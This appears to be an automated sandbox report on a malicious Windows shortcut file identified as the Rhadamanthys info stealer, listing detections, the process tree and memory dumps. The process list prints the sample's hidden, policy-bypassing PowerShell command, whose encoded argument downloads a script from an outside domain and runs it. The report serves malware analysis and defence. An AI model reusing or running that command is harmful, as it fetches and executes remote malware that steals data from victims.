Analysis
- max time kernel
1796s - max time network
1807s - platform
windows10-2004_x64 - resource
win10v2004-20240226-ja - resource tags
- submitted
06/04/2024, 04:05
General
- Target DOC4310 - 43104310.lnk
- Size 15KB
- Sample240406-enx1qaac21
- SHA256 bb530d072743d54a2cd400181b1e80f08986360f7f55786d1438bffd00041569
Malware Config
Signatures
- Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
- Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
- Blocklisted process makes network request 1 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
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C:\Windows\system32\sihost.exesihost.exe1⤵
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C:\Windows\system32\dialer.exe"C:\Windows\system32\dialer.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\DOC4310 - 43104310.lnk"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAG8AcABlAG4ALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=ja --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4404 --field-trial-handle=2092,i,18037217704685887681,13307407496551387903,262144 --variations-seed-version /prefetch:81⤵
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=ja --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3216 --field-trial-handle=2092,i,18037217704685887681,13307407496551387903,262144 --variations-seed-version /prefetch:81⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_4vb5voj0.44c.ps1
memory/636-30-0x0000022A401B0000-0x0000022A401B9000-memory.dmp
memory/636-42-0x0000022A41C30000-0x0000022A42030000-memory.dmp
memory/636-41-0x00007FFBF1C10000-0x00007FFBF1ED9000-memory.dmp
memory/636-39-0x0000022A41C30000-0x0000022A42030000-memory.dmp
memory/636-40-0x00007FFBF3E60000-0x00007FFBF3F1E000-memory.dmp
memory/636-38-0x00007FFBF40B0000-0x00007FFBF42A5000-memory.dmp
memory/636-35-0x0000022A41C30000-0x0000022A42030000-memory.dmp
memory/1508-17-0x000002176C310000-0x000002176C320000-memory.dmp
memory/1508-29-0x00007FFBF1C10000-0x00007FFBF1ED9000-memory.dmp
memory/1508-20-0x000002176D0F0000-0x000002176D14E000-memory.dmp
memory/1508-21-0x000002176C130000-0x000002176C140000-memory.dmp
memory/1508-22-0x000002176D5A0000-0x000002176D9A0000-memory.dmp
memory/1508-23-0x000002176C130000-0x000002176C140000-memory.dmp
memory/1508-24-0x000002176D5A0000-0x000002176D9A0000-memory.dmp
memory/1508-25-0x000002176D5A0000-0x000002176D9A0000-memory.dmp
memory/1508-26-0x00007FFBF40B0000-0x00007FFBF42A5000-memory.dmp
memory/1508-27-0x000002176D5A0000-0x000002176D9A0000-memory.dmp
memory/1508-28-0x00007FFBF3E60000-0x00007FFBF3F1E000-memory.dmp
memory/1508-19-0x000002176C2F0000-0x000002176C306000-memory.dmp
memory/1508-18-0x000002176C310000-0x000002176C320000-memory.dmp
memory/1508-2-0x000002176C250000-0x000002176C2E2000-memory.dmp
memory/1508-36-0x00007FFBD32B0000-0x00007FFBD3D71000-memory.dmp
memory/1508-37-0x000002176D5A0000-0x000002176D9A0000-memory.dmp
memory/1508-16-0x000002176C310000-0x000002176C320000-memory.dmp
memory/1508-15-0x00007FFBD32B0000-0x00007FFBD3D71000-memory.dmp
memory/1508-14-0x000002176D1B0000-0x000002176D2BE000-memory.dmp
memory/1508-13-0x000002176C090000-0x000002176C0A0000-memory.dmp
memory/1508-3-0x000002176C0B0000-0x000002176C0D2000-memory.dmp